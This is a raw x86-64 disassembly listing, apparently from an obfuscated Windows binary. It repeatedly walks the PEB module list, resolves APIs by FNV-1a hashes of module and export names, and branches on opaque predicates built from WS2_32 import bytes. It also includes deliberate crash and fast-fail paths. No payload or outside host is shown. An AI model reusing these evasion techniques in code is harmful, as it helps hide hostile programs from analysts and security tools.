mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008f431
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008f424
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008f415
cmp edx, edi
jne 0x14008f50b
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008f50b
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008f50b
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008f485
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008f47a
cmp edx, esi
je 0x14008f49d
test r11d, r11d
jne 0x14008f465
xor r15d, r15d
jmp 0x14008f50b
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008f589
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14008f589
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008f4e6
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008f4d8
inc rdx
xor r15d, r15d
jmp 0x14008f502
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008f4f4
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008f520
cmp qword [rax + 0x30], r15
jne 0x14008f3ea
mov rdx, r15
mov qword [0x1402a3e40], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1402a3f90]
test rbx, rbx
jne 0x14008f6a3
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r12d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008f5aa
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008f59d
xor r15d, r15d
jmp 0x14008f523
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008f58e
cmp edx, edi
jne 0x14008f684
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14008f684
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14008f684
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r15 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x14008f5fe
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008f5f3
cmp edx, esi
je 0x14008f616
test r9d, r9d
jne 0x14008f5de
xor r15d, r15d
jmp 0x14008f684
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ebx, dword [rdx + r9*4]
add rbx, r10
cmp rbx, r11
jbe 0x14008f70a
lea rcx, [r11 + rax]
cmp rbx, rcx
jae 0x14008f70a
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008f65f
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14008f651
inc rbx
xor r15d, r15d
jmp 0x14008f67b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14008f66d
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008f699
cmp qword [rax + 0x30], r15
jne 0x14008f55e
mov rbx, r15
mov qword [0x1402a3f90], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call rbx
mov rdx, qword [0x1402a3f88]
test rdx, rdx
jne 0x14008f824
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xb3002016
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008f72b
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008f71e
xor r15d, r15d
jmp 0x14008f69c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008f70f
cmp edx, edi
jne 0x14008f805
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008f805
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008f805
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008f77f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008f774
cmp edx, esi
je 0x14008f797
test r11d, r11d
jne 0x14008f75f
xor r15d, r15d
jmp 0x14008f805
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008f882
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14008f882
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008f7e0
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008f7d2
inc rdx
xor r15d, r15d
jmp 0x14008f7fc
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008f7ee
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008f81a
cmp qword [rax + 0x30], r15
jne 0x14008f6df
mov rdx, r15
mov qword [0x1402a3f88], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f80]
test rdx, rdx
jne 0x14008f99c
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0x2fd4df39
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008f8a3
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008f896
xor r15d, r15d
jmp 0x14008f81d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008f887
cmp edx, edi
jne 0x14008f97d
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008f97d
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008f97d
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008f8f7
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008f8ec
cmp edx, esi
je 0x14008f90f
test r11d, r11d
jne 0x14008f8d7
xor r15d, r15d
jmp 0x14008f97d
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008f9fa
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14008f9fa
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008f958
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008f94a
inc rdx
xor r15d, r15d
jmp 0x14008f974
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008f966
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008f992
cmp qword [rax + 0x30], r15
jne 0x14008f857
mov rdx, r15
mov qword [0x1402a3f80], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f78]
test rdx, rdx
jne 0x14008fb14
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xe80fd3a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008fa1b
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008fa0e
xor r15d, r15d
jmp 0x14008f995
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008f9ff
cmp edx, edi
jne 0x14008faf5
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008faf5
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008faf5
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008fa6f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008fa64
cmp edx, esi
je 0x14008fa87
test r11d, r11d
jne 0x14008fa4f
xor r15d, r15d
jmp 0x14008faf5
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008fb6f
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14008fb6f
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008fad0
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008fac2
inc rdx
xor r15d, r15d
jmp 0x14008faec
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008fade
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008fb0a
cmp qword [rax + 0x30], r15
jne 0x14008f9cf
mov rdx, r15
mov qword [0x1402a3f78], rdx
xor ecx, ecx
call rdx
cmp qword [0x1402a3f70], r15
jne 0x14008fc8b
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xa52bcaf9
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008fb90
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008fb83
xor r15d, r15d
jmp 0x14008fb0d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008fb74
cmp edx, edi
jne 0x14008fc6c
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14008fc6c
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14008fc6c
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r15 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x14008fbe4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008fbd9
cmp edx, esi
je 0x14008fbfc
test r9d, r9d
jne 0x14008fbc4
xor r15d, r15d
jmp 0x14008fc6c
mov ecx, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rcx, r10
add rdx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, dword [rdx + r8*4]
add r9, r10
cmp r9, r11
jbe 0x14008fdab
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14008fdab
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008fc45
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14008fc37
inc r9
xor r15d, r15d
jmp 0x14008fc62
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14008fc54
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008fc81
cmp qword [rax + 0x30], r15
jne 0x14008fb44
mov r9, r15
mov qword [0x1402a3f70], r9
xor ecx, ecx
int 0x29
mov r9d, r15d
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea esi, [rcx + rdx*2]
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea r14d, [rcx + rdx*4]
call fcn.1400752e4
movsx r10d, al
call fcn.1400752e8
movsx ecx, al
imul r10d, ecx
call fcn.1400752f4
mov r11d, dword [rbp + 0x48]
movsx ebx, al
lea eax, [r10 + r10*4]
lea edi, [rbx + rax*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm2, xmm2
sub eax, ecx
xor edx, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x10], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008fdb3
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008fdb3
mov r11d, 4
jmp 0x14008fe08
xor r15d, r15d
jmp 0x14008fc84
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [r10 + r10*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008fe08
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r11d, xmm0
cmp r9d, r11d
jge 0x14008fe37
mov edx, 1
mov eax, edx
mov qword [rbp - 0x10], rdx
mov ecx, edx
mov qword [rbp + rcx*8 - 0x10], rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rcx, rax
mov qword [rbp - 0x10], rax
jne 0x14008fe1a
add r9d, edx
jmp 0x14008fcf7
mov qword [0], 0x99
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090dfb
mov rcx, qword [0x1402a1d88]
call fcn.1400ab1ac
xor al, 1
movzx eax, al
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ff50
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008ff50
mov r9d, 4
jmp 0x14008ffe6
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ffe2
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r9d, xmm0
jmp 0x14008ffe6
mov r9d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140090dfb
mov rdx, qword [0x1402a3e40]
test rdx, rdx
jne 0x140090186
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r13d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x14009009f
psrldq xmm0, 8
mov r8d, 0x811c9dc5
movzx ecx, cx
movq rdx, xmm0
shr rcx, 1
lea r9, [rdx + rcx*2]
jmp 0x140090091
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x140090080
cmp r8d, edi
jne 0x140090177
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x140090177
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140090177
mov r14d, dword [r11 + 0x20]
dec ebx
lea r8, [r14 + rbx*4]
mov r10d, dword [r8 + r9]
mov r8d, 0x811c9dc5
add r10, r9
jmp 0x1400900f4
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r10]
inc r10
test dl, dl
jne 0x1400900e7
cmp r8d, esi
je 0x140090109
test ebx, ebx
jne 0x1400900d2
jmp 0x140090177
mov eax, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rax, r9
add rdx, r9
movzx r8d, word [rax + rbx*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r11
jbe 0x14009017f
lea rax, [r11 + rcx]
cmp rdx, rax
jae 0x14009017f
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14009014a
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14009013c
jmp 0x14009015d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140090152
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140090054
mov qword [0x1402a3e40], rdx
mov ecx, 0x99
call rdx
call fcn.1400752e8
movsx r9d, al
call fcn.1400752e4
movsx ecx, al
imul r9d, ecx
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009036f
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
movzx eax, byte [0x1402a1d75]
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009028e
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14009028e
mov r9d, 4
jmp 0x140090324
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090320
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r9d, xmm0
jmp 0x140090324
mov r9d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14009036f
call fcn.1400b8e8c
mov ecx, 0x9c
call qword [0x1402a1e90]
mov rdx, qword [0x1402a3e40]
test rdx, rdx
jne 0x1400904e7
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r13d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1400903ee
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400903e1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400903d2
cmp edx, edi
jne 0x1400904c8
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400904c8
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400904c8
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x140090442
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140090437
cmp edx, esi
je 0x14009045a
test r11d, r11d
jne 0x140090422
xor r15d, r15d
jmp 0x1400904c8
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14009054a
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14009054a
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1400904a3
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140090495
inc rdx
xor r15d, r15d
jmp 0x1400904bf
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1400904b1
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x1400904dd
cmp qword [rax + 0x30], r15
jne 0x1400903a7
mov rdx, r15
mov qword [0x1402a3e40], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1402a3f90]
test rbx, rbx
jne 0x14009065f
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r12d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14009056b
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14009055e
xor r15d, r15d
jmp 0x1400904e0
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14009054f
cmp edx, edi
jne 0x140090640
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140090640
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140090640
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, r12d
add r8, r9
